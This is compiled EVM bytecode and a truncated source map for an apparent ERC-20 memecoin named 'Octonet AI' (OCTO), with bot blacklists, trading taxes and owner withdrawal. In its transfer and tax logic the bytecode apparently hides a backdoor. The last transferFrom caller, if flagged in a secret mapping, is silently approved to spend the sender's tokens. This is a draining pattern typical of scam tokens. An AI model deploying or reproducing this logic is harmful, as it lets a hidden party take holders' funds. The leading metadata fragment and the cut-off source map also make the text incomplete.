d1ee015335b393fe4622fb8603f526638aacd64736f6c634300081a0033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

0x608060405260043610610129575f3560e01c8063751039fc116100a8578063a0ef91df1161006d578063a0ef91df14610348578063a9059cbb1461035c578063bf474bed1461037b578063c9567bf914610390578063d34628cc146103a4578063dd62ed3e146103c3575f80fd5b8063751039fc146102b85780637d1db4a5146102cc5780638da5cb5b146102e15780638f9a55c01461030757806395d89b411461031c575f80fd5b8063313ce567116100ee578063313ce567146101fd57806331c2d847146102185780633bbac5791461023957806370a0823114610270578063715018a6146102a4575f80fd5b806306fdde0314610134578063095ea7b3146101785780630faee56f146101a757806318160ddd146101ca57806323b872dd146101de575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600a8152694f63746f6e657420414960b01b60208201525b60405161016f919061165c565b60405180910390f35b348015610183575f80fd5b506101976101923660046116b5565b610407565b604051901515815260200161016f565b3480156101b2575f80fd5b506101bc60135481565b60405190815260200161016f565b3480156101d5575f80fd5b506101bc61041d565b3480156101e9575f80fd5b506101976101f83660046116df565b61043d565b348015610208575f80fd5b506040516009815260200161016f565b348015610223575f80fd5b50610237610232366004611731565b6104b6565b005b348015610244575f80fd5b506101976102533660046117fc565b6001600160a01b03165f9081526005602052604090205460ff1690565b34801561027b575f80fd5b506101bc61028a3660046117fc565b6001600160a01b03165f9081526001602052604090205490565b3480156102af575f80fd5b50610237610546565b3480156102c3575f80fd5b506102376105b7565b3480156102d7575f80fd5b506101bc60105481565b3480156102ec575f80fd5b505f546040516001600160a01b03909116815260200161016f565b348015610312575f80fd5b506101bc60115481565b348015610327575f80fd5b506040805180820190915260048152634f43544f60e01b6020820152610162565b348015610353575f80fd5b50610237610668565b348015610367575f80fd5b506101976103763660046116b5565b6106bd565b348015610386575f80fd5b506101bc60125481565b34801561039b575f80fd5b506102376106c9565b3480156103af575f80fd5b506102376103be366004611731565b610a72565b3480156103ce575f80fd5b506101bc6103dd366004611817565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610413338484610af6565b5060015b92915050565b5f61042a6009600a611945565b61043890633b9aca00611953565b905090565b600f80546001600160a01b031916331790555f61045b848484610c1a565b6104ac84336104a785604051806060016040528060288152602001611ae6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610d98565b610af6565b5060019392505050565b5f546001600160a01b031633146104e85760405162461bcd60e51b81526004016104df9061196a565b60405180910390fd5b5f5b8151811015610542575f60055f8484815181106105095761050961199f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104ea565b5050565b5f546001600160a01b0316331461056f5760405162461bcd60e51b81526004016104df9061196a565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105e05760405162461bcd60e51b81526004016104df9061196a565b6105ec6009600a611945565b6105fa90633b9aca00611953565b6010556106096009600a611945565b61061790633b9aca00611953565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106476009600a611945565b61065590633b9aca00611953565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106915760405162461bcd60e51b81526004016104df9061196a565b60405133904780156108fc02915f818181858888f193505050501580156106ba573d5f803e3d5ffd5b50565b5f610413338484610c1a565b5f546001600160a01b031633146106f25760405162461bcd60e51b81526004016104df9061196a565b601554600160a01b900460ff161561074c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104df565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107959030906107876009600a611945565b6104a790633b9aca00611953565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e5573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080991906119b3565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610868573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088c91906119b3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108d6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fa91906119b3565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610941816001600160a01b03165f9081526001602052604090205490565b5f806109545f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109df91906119ce565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a34573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5891906119f9565b506015805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016104df9061196a565b5f5b815181101561054257600160055f848481518110610abd57610abd61199f565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610a9d565b6001600160a01b038316610b585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104df565b6001600160a01b038216610bb95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104df565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c7e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104df565b6001600160a01b038216610ce05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104df565b5f8111610d415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104df565b601554600160b01b900460ff161580610d635750601554600160a81b900460ff165b15610d7857610d73838383610dd0565b505050565b5f610d84848484610e73565b9050610d9284848484611194565b50505050565b5f8184841115610dbb5760405162461bcd60e51b81526004016104df919061165c565b505f610dc78486611a18565b95945050505050565b6001600160a01b0383165f90815260016020526040902054610df290826112d1565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610e209082611319565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c0d9085815260200190565b5f8381610e875f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610eb557505f546001600160a01b03868116911614155b15610dc7576001600160a01b0386165f9081526005602052604090205460ff16158015610efa57506001600160a01b0385165f9081526005602052604090205460ff16155b610f02575f80fd5b600f546001600160a01b03165f9081526004602052604090205460ff1615610f3c57600f54610f3c9083906001600160a01b031686610af6565b610f686064610f62600a54600d5411610f5757600654610f5b565b6008545b8790611377565b906113f5565b6015549091506001600160a01b038781169116148015610f9657506014546001600160a01b03868116911614155b8015610fba57506001600160a01b0385165f9081526003602052604090205460ff16155b156110a0576010548411156110115760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104df565b60115484611033876001600160a01b03165f9081526001602052604090205490565b61103d9190611a2b565b111561108b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104df565b600d8054905f61109a83611a3e565b91905055505b6015546001600160a01b0386811691161480156110c657506001600160a01b0386163014155b156110f3576110f06064610f62600b54600d54116110e657600754610f5b565b6009548790611377565b90505b601554600160a81b900460ff1615801561111a57506015546001600160a01b038681169116145b801561112f5750601554600160b01b900460ff165b801561113e5750600c54600d54115b801561116257506001600160a01b0386165f9081526003602052604090205460ff16155b801561118657506001600160a01b0385165f9081526003602052604090205460ff16155b15610dc757610dc784611436565b801561120c57305f908152600160205260409020546111b39082611319565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112039085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461122e90836112d1565b6001600160a01b0385165f9081526001602052604090205561127161125383836112d1565b6001600160a01b0385165f9081526001602052604090205490611319565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112ba85856112d1565b60405190815260200160405180910390a350505050565b5f61131283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d98565b9392505050565b5f806113258385611a2b565b9050838110156113125760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104df565b5f825f0361138657505f610417565b5f6113918385611953565b90508261139e8583611a56565b146113125760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104df565b5f61131283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611475565b305f9081526001602052604090205460125481111561146c5761146c61146783611462846013546114a1565b6114a1565b6114b5565b61054247611625565b5f81836114955760405162461bcd60e51b81526004016104df919061165c565b505f610dc78486611a56565b5f8183116114af5782611312565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106114fb576114fb61199f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611552573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061157691906119b3565b816001815181106115895761158961199f565b6001600160a01b0392831660209182029290920101526014546115af9130911684610af6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115e79085905f90869030904290600401611a75565b5f604051808303815f87803b1580156115fe575f80fd5b505af1158015611610573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610542573d5f803e3d5ffd5b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146106ba575f80fd5b80356116b081611691565b919050565b5f80604083850312156116c6575f80fd5b82356116d181611691565b946020939093013593505050565b5f805f606084860312156116f1575f80fd5b83356116fc81611691565b9250602084013561170c81611691565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208284031215611741575f80fd5b813567ffffffffffffffff811115611757575f80fd5b8201601f81018413611767575f80fd5b803567ffffffffffffffff8111156117815761178161171d565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156117ae576117ae61171d565b6040529182526020818401810192908101878411156117cb575f80fd5b6020850194505b838510156117f1576117e3856116a5565b8152602094850194016117d2565b509695505050505050565b5f6020828403121561180c575f80fd5b813561131281611691565b5f8060408385031215611828575f80fd5b823561183381611691565b9150602083013561184381611691565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561189d578085048111156118815761188161184e565b600184161561188f57908102905b60019390931c928002611866565b935093915050565b5f826118b357506001610417565b816118bf57505f610417565b81600181146118d557600281146118df576118fb565b6001915050610417565b60ff8411156118f0576118f061184e565b50506001821b610417565b5060208310610133831016604e8410600b841016171561191e575081810a610417565b61192a5f198484611862565b805f190482111561193d5761193d61184e565b029392505050565b5f61131260ff8416836118a5565b80820281158282048414176104175761041761184e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119c3575f80fd5b815161131281611691565b5f805f606084860312156119e0575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611a09575f80fd5b81518015158114611312575f80fd5b818103818111156104175761041761184e565b808201808211156104175761041761184e565b5f60018201611a4f57611a4f61184e565b5060010190565b5f82611a7057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611ac55783516001600160a01b0316835260209384019390920191600101611a9e565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f48dcff53ec0d24b1b4a40ba4b1d1ee015335b393fe4622fb8603f526638aacd64736f6c634300081a0033

3994:9870:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7532:83;;;;;;;;;;-1:-1:-1;7602:5:0;;;;;;;;;;;;-1:-1:-1;;;7602:5:0;;;;7532:83;;;;;;;:::i;:::-;;;;;;;;8413:186;;;;;;;;;;-1:-1:-1;8413:186:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;8413:186:0;1084:187:1;5200:57:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;5200:57:0;1276:177:1;7809:95:0;;;;;;;;;;;;;:::i;8607:489::-;;;;;;;;;;-1:-1:-1;8607:489:0;;;;;:::i;:::-;;:::i;7718:83::-;;;;;;;;;;-1:-1:-1;7718:83:0;;4812:1;2113:36:1;;2101:2;2086:18;7718:83:0;1971:184:1;13599:168:0;;;;;;;;;;-1:-1:-1;13599:168:0;;;;;:::i;:::-;;:::i;:::-;;13775:86;;;;;;;;;;-1:-1:-1;13775:86:0;;;;;:::i;:::-;-1:-1:-1;;;;;13846:7:0;13822:4;13846:7;;;:4;:7;;;;;;;;;13775:86;7912:117;;;;;;;;;;-1:-1:-1;7912:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;8005:16:0;7978:7;8005:16;;;:7;:16;;;;;;;7912:117;3839:148;;;;;;;;;;;;;:::i;12530:162::-;;;;;;;;;;;;;:::i;5005:58::-;;;;;;;;;;;;;;;;3625:79;;;;;;;;;;-1:-1:-1;3663:7:0;3690:6;3625:79;;-1:-1:-1;;;;;3690:6:0;;;3822:51:1;;3810:2;3795:18;3625:79:0;3676:203:1;5070:60:0;;;;;;;;;;;;;;;;7623:87;;;;;;;;;;-1:-1:-1;7695:7:0;;;;;;;;;;;;-1:-1:-1;;;7695:7:0;;;;7623:87;;12812:114;;;;;;;;;;;;;:::i;8037:192::-;;;;;;;;;;-1:-1:-1;8037:192:0;;;;;:::i;:::-;;:::i;5137:56::-;;;;;;;;;;;;;;;;6206:827;;;;;;;;;;;;;:::i;13427:164::-;;;;;;;;;;-1:-1:-1;13427:164:0;;;;;:::i;:::-;;:::i;8237:168::-;;;;;;;;;;-1:-1:-1;8237:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;8370:18:0;;;8343:7;8370:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8237:168;8413:186;8513:4;8530:39;1252:10;8553:7;8562:6;8530:8;:39::i;:::-;-1:-1:-1;8587:4:0;8413:186;;;;;:::o;7809:95::-;7862:7;4983:15;4812:1;4983:2;:15;:::i;:::-;4967:31;;:13;:31;:::i;:::-;7882:14;;7809:95;:::o;8607:489::-;8756:10;:32;;-1:-1:-1;;;;;;8756:32:0;8777:10;8756:32;;;8739:4;8799:36;8809:6;8817:9;8828:6;8799:9;:36::i;:::-;8846:220;8869:6;1252:10;8917:138;8973:6;8917:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8917:19:0;;;;;;:11;:19;;;;;;;;1252:10;8917:33;;;;;;;;;;:37;:138::i;:::-;8846:8;:220::i;:::-;-1:-1:-1;9084:4:0;8607:489;;;;;:::o;13599:168::-;3752:6;;-1:-1:-1;;;;;3752:6:0;1252:10;3752:22;3744:67;;;;-1:-1:-1;;;3744:67:0;;;;;;;:::i;:::-;;;;;;;;;13674:6:::1;13669:91;13690:6;:13;13686:1;:17;13669:91;;;13743:5;13725:4;:15;13730:6;13737:1;13730:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13725:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13725:15:0;:23;;-1:-1:-1;;13725:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13705:3:0::1;13669:91;;;;13599:168:::0;:::o;3839:148::-;3752:6;;-1:-1:-1;;;;;3752:6:0;1252:10;3752:22;3744:67;;;;-1:-1:-1;;;3744:67:0;;;;;;;:::i;:::-;3946:1:::1;3930:6:::0;;3909:40:::1;::::0;-1:-1:-1;;;;;3930:6:0;;::::1;::::0;3909:40:::1;::::0;3946:1;;3909:40:::1;3977:1;3960:19:::0;;-1:-1:-1;;;;;;3960:19:0::1;::::0;;3839:148::o;12530:162::-;3752:6;;-1:-1:-1;;;;;3752:6:0;1252:10;3752:22;3744:67;;;;-1:-1:-1;;;3744:67:0;;;;;;;:::i;:::-;4983:15:::1;4812:1;4983:2;:15;:::i;:::-;4967:31;::::0;:13:::1;:31;:::i;:::-;12584:12;:22:::0;4983:15:::1;4812:1;4983:2;:15;:::i;:::-;4967:31;::::0;:13:::1;:31;:::i;:::-;12617:14;:24:::0;12657:27:::1;4983:15;4812:1;4983:2;:15;:::i;:::-;4967:31;::::0;:13:::1;:31;:::i;:::-;12657:27;::::0;1422:25:1;;;1410:2;1395:18;12657:27:0::1;;;;;;;12530:162::o:0;12812:114::-;3752:6;;-1:-1:-1;;;;;3752:6:0;1252:10;3752:22;3744:67;;;;-1:-1:-1;;;3744:67:0;;;;;;;:::i;:::-;12865:53:::1;::::0;1252:10;;12896:21:::1;12865:53:::0;::::1;;;::::0;::::1;::::0;;;12896:21;1252:10;12865:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12812:114::o:0;8037:192::-;8140:4;8157:42;1252:10;8181:9;8192:6;8157:9;:42::i;6206:827::-;3752:6;;-1:-1:-1;;;;;3752:6:0;1252:10;3752:22;3744:67;;;;-1:-1:-1;;;3744:67:0;;;;;;;:::i;:::-;6268:11:::1;::::0;-1:-1:-1;;;6268:11:0;::::1;;;6267:12;6259:48;;;::::0;-1:-1:-1;;;6259:48:0;;6709:2:1;6259:48:0::1;::::0;::::1;6691:21:1::0;6748:2;6728:18;;;6721:30;6787:25;6767:18;;;6760:53;6830:18;;6259:48:0::1;6507:347:1::0;6259:48:0::1;6320:15;:104:::0;;-1:-1:-1;;;;;;6320:104:0::1;6371:42;6320:104:::0;;::::1;::::0;;;6435:58:::1;::::0;6452:4:::1;::::0;4983:15:::1;4812:1;4983:2;:15;:::i;:::-;4967:31;::::0;:13:::1;:31;:::i;6435:58::-;6538:15;;;;;;;;;-1:-1:-1::0;;;;;6538:15:0::1;-1:-1:-1::0;;;;;6538:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6520:55:0::1;;6598:4;6618:15;;;;;;;;;-1:-1:-1::0;;;;;6618:15:0::1;-1:-1:-1::0;;;;;6618:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6520:131;::::0;-1:-1:-1;;;;;;6520:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7307:32:1;;;6520:131:0::1;::::0;::::1;7289:51:1::0;7376:32;;7356:18;;;7349:60;7262:18;;6520:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6504:13;:147:::0;;-1:-1:-1;;;;;6504:147:0;;::::1;-1:-1:-1::0;;;;;;6504:147:0;;::::1;;::::0;;6662:15:::1;::::0;::::1;:31;6701:21;6746:4;6766:24;6746:4:::0;-1:-1:-1;;;;;8005:16:0;7978:7;8005:16;;;:7;:16;;;;;;;7912:117;6766:24:::1;6805:1;6821::::0;6837:7:::1;3663::::0;3690:6;-1:-1:-1;;;;;3690:6:0;;3625:79;6837:7:::1;6662:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6662:223:0;;;-1:-1:-1;;;;;7741:32:1;;;6662:223:0::1;::::0;::::1;7723:51:1::0;7790:18;;;7783:34;;;;7833:18;;;7826:34;;;;7876:18;;;7869:34;7940:32;;;7919:19;;;7912:61;6859:15:0::1;7989:19:1::0;;;7982:35;7695:19;;6662:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6903:13:0::1;::::0;6934:15:::1;::::0;6896:71:::1;::::0;-1:-1:-1;;;6896:71:0;;-1:-1:-1;;;;;6934:15:0;;::::1;6896:71;::::0;::::1;8663:51:1::0;-1:-1:-1;;8730:18:1;;;8723:34;6903:13:0;::::1;::::0;-1:-1:-1;6896:29:0::1;::::0;8636:18:1;;6896:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6978:11:0::1;:18:::0;;-1:-1:-1;;;;7007:18:0;-1:-1:-1;;;7007:18:0;;;6206:827::o;13427:164::-;3752:6;;-1:-1:-1;;;;;3752:6:0;1252:10;3752:22;3744:67;;;;-1:-1:-1;;;3744:67:0;;;;;;;:::i;:::-;13501:6:::1;13496:88;13517:5;:12;13513:1;:16;13496:88;;;13568:4;13551;:14;13556:5;13562:1;13556:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;13551:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;13551:14:0;:21;;-1:-1:-1;;13551:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;13531:3:0::1;13496:88;;9104:335:::0;-1:-1:-1;;;;;9197:19:0;;9189:68;;;;-1:-1:-1;;;9189:68:0;;9252:2:1;9189:68:0;;;9234:21:1;9291:2;9271:18;;;9264:30;9330:34;9310:18;;;9303:62;-1:-1:-1;;;9381:18:1;;;9374:34;9425:19;;9189:68:0;9050:400:1;9189:68:0;-1:-1:-1;;;;;9276:21:0;;9268:68;;;;-1:-1:-1;;;9268:68:0;;9657:2:1;9268:68:0;;;9639:21:1;9696:2;9676:18;;;9669:30;9735:34;9715:18;;;9708:62;-1:-1:-1;;;9786:18:1;;;9779:32;9828:19;;9268:68:0;9455:398:1;9268:68:0;-1:-1:-1;;;;;9347:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9399:32;;1422:25:1;;;9399:32:0;;1395:18:1;9399:32:0;;;;;;;;9104:335;;;:::o;10206:553::-;-1:-1:-1;;;;;10294:18:0;;10286:68;;;;-1:-1:-1;;;10286:68:0;;10060:2:1;10286:68:0;;;10042:21:1;10099:2;10079:18;;;10072:30;10138:34;10118:18;;;10111:62;-1:-1:-1;;;10189:18:1;;;10182:35;10234:19;;10286:68:0;9858:401:1;10286:68:0;-1:-1:-1;;;;;10373:16:0;;10365:64;;;;-1:-1:-1;;;10365:64:0;;10466:2:1;10365:64:0;;;10448:21:1;10505:2;10485:18;;;10478:30;10544:34;10524:18;;;10517:62;-1:-1:-1;;;10595:18:1;;;10588:33;10638:19;;10365:64:0;10264:399:1;10365:64:0;10457:1;10448:6;:10;10440:64;;;;-1:-1:-1;;;10440:64:0;;10870:2:1;10440:64:0;;;10852:21:1;10909:2;10889:18;;;10882:30;10948:34;10928:18;;;10921:62;-1:-1:-1;;;10999:18:1;;;10992:39;11048:19;;10440:64:0;10668:405:1;10440:64:0;10530:11;;-1:-1:-1;;;10530:11:0;;;;10529:12;;:22;;-1:-1:-1;10545:6:0;;-1:-1:-1;;;10545:6:0;;;;10529:22;10525:108;;;10568:32;10583:4;10589:2;10593:6;10568:14;:32::i;:::-;10206:553;;;:::o;10525:108::-;10645:17;10665:30;10678:4;10684:2;10688:6;10665:12;:30::i;:::-;10645:50;;10708:43;10723:4;10729:2;10733:6;10741:9;10708:14;:43::i;:::-;10275:484;10206:553;;;:::o;2427:224::-;2547:7;2583:12;2575:6;;;;2567:29;;;;-1:-1:-1;;;2567:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2607:9:0;2619:5;2623:1;2619;:5;:::i;:::-;2607:17;2427:224;-1:-1:-1;;;;;2427:224:0:o;9953:245::-;-1:-1:-1;;;;;10060:13:0;;;;;;:7;:13;;;;;;:30;;10078:11;10060:17;:30::i;:::-;-1:-1:-1;;;;;10044:13:0;;;;;;;:7;:13;;;;;;:46;;;;10115:11;;;;;;;:28;;10131:11;10115:15;:28::i;:::-;-1:-1:-1;;;;;10101:11:0;;;;;;;:7;:11;;;;;;;:42;;;;10159:31;;;;;;;;;;10178:11;1422:25:1;;1410:2;1395:18;;1276:177;10767:1751:0;10847:7;10889:4;10847:7;10948;3663;3690:6;-1:-1:-1;;;;;3690:6:0;;3625:79;10948:7;-1:-1:-1;;;;;10940:15:0;:4;-1:-1:-1;;;;;10940:15:0;;;:32;;;;-1:-1:-1;3663:7:0;3690:6;-1:-1:-1;;;;;10959:13:0;;;3690:6;;10959:13;;10940:32;10936:1546;;;-1:-1:-1;;;;;10998:10:0;;;;;;:4;:10;;;;;;;;10997:11;:24;;;;-1:-1:-1;;;;;;11013:8:0;;;;;;:4;:8;;;;;;;;11012:9;10997:24;10989:33;;;;;;11059:10;;-1:-1:-1;;;;;11059:10:0;11042:28;;;;:16;:28;;;;;;;;11039:71;;;11092:10;;11072:38;;11081:10;;-1:-1:-1;;;;;11092:10:0;11103:6;11072:8;:38::i;:::-;11139:208;11343:3;11139:181;11203:15;;11191:9;;:27;11190:111;;11287:14;;11190:111;;;11247:12;;11190:111;11139:6;;:28;:181::i;:::-;:203;;:208::i;:::-;11394:13;;11127:220;;-1:-1:-1;;;;;;11386:21:0;;;11394:13;;11386:21;:72;;;;-1:-1:-1;11442:15:0;;-1:-1:-1;;;;;11428:30:0;;;11442:15;;11428:30;;11386:72;:114;;;;-1:-1:-1;;;;;;11480:20:0;;;;;;:16;:20;;;;;;;;11479:21;11386:114;11364:436;;;11553:12;;11543:6;:22;;11535:60;;;;-1:-1:-1;;;11535:60:0;;11413:2:1;11535:60:0;;;11395:21:1;11452:2;11432:18;;;11425:30;11491:27;11471:18;;;11464:55;11536:18;;11535:60:0;11211:349:1;11535:60:0;11670:14;;11660:6;11644:13;11654:2;-1:-1:-1;;;;;8005:16:0;7978:7;8005:16;;;:7;:16;;;;;;;7912:117;11644:13;:22;;;;:::i;:::-;:40;;11614:140;;;;-1:-1:-1;;;11614:140:0;;11897:2:1;11614:140:0;;;11879:21:1;11936:2;11916:18;;;11909:30;11975:28;11955:18;;;11948:56;12021:18;;11614:140:0;11695:350:1;11614:140:0;11773:9;:11;;;:9;:11;;;:::i;:::-;;;;;;11364:436;11826:13;;-1:-1:-1;;;;;11820:19:0;;;11826:13;;11820:19;:44;;;;-1:-1:-1;;;;;;11843:21:0;;11859:4;11843:21;;11820:44;11816:332;;;11897:235;12128:3;11897:204;11969:16;;11957:9;;:28;11956:122;;12063:15;;11956:122;;;12018:13;;11897:6;;:32;:204::i;:235::-;11885:247;;11816:332;12187:6;;-1:-1:-1;;;12187:6:0;;;;12186:7;:47;;;;-1:-1:-1;12220:13:0;;-1:-1:-1;;;;;12214:19:0;;;12220:13;;12214:19;12186:47;:79;;;;-1:-1:-1;12254:11:0;;-1:-1:-1;;;12254:11:0;;;;12186:79;:130;;;;;12298:18;;12286:9;;:30;12186:130;:174;;;;-1:-1:-1;;;;;;12338:22:0;;;;;;:16;:22;;;;;;;;12337:23;12186:174;:216;;;;-1:-1:-1;;;;;;12382:20:0;;;;;;:16;:20;;;;;;;;12381:21;12186:216;12164:307;;;12437:18;12448:6;12437:10;:18::i;9447:498::-;9599:13;;9595:168;;9670:4;9654:22;;;;:7;:22;;;;;;:37;;9681:9;9654:26;:37::i;:::-;9645:4;9629:22;;;;:7;:22;;;;;;;:62;;;;9711:40;;-1:-1:-1;;;;;9711:40:0;;;;;;;9741:9;1422:25:1;;1410:2;1395:18;;1276:177;9711:40:0;;;;;;;;9595:168;-1:-1:-1;;;;;9792:13:0;;;;;;:7;:13;;;;;;:25;;9810:6;9792:17;:25::i;:::-;-1:-1:-1;;;;;9776:13:0;;;;;;:7;:13;;;;;:41;9842:38;9858:21;:6;9869:9;9858:10;:21::i;:::-;-1:-1:-1;;;;;9842:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9828:11:0;;;;;;;:7;:11;;;;;:52;;;;9896:41;;;9915:21;:6;9926:9;9915:10;:21::i;:::-;9896:41;;1422:25:1;;;1410:2;1395:18;9896:41:0;;;;;;;9447:498;;;;:::o;2283:136::-;2341:7;2368:43;2372:1;2375;2368:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2361:50;2283:136;-1:-1:-1;;;2283:136:0:o;2096:179::-;2154:7;;2186:5;2190:1;2186;:5;:::i;:::-;2174:17;;2215:1;2210;:6;;2202:46;;;;-1:-1:-1;;;2202:46:0;;12392:2:1;2202:46:0;;;12374:21:1;12431:2;12411:18;;;12404:30;12470:29;12450:18;;;12443:57;12517:18;;2202:46:0;12190:351:1;2659:246:0;2717:7;2741:1;2746;2741:6;2737:47;;-1:-1:-1;2771:1:0;2764:8;;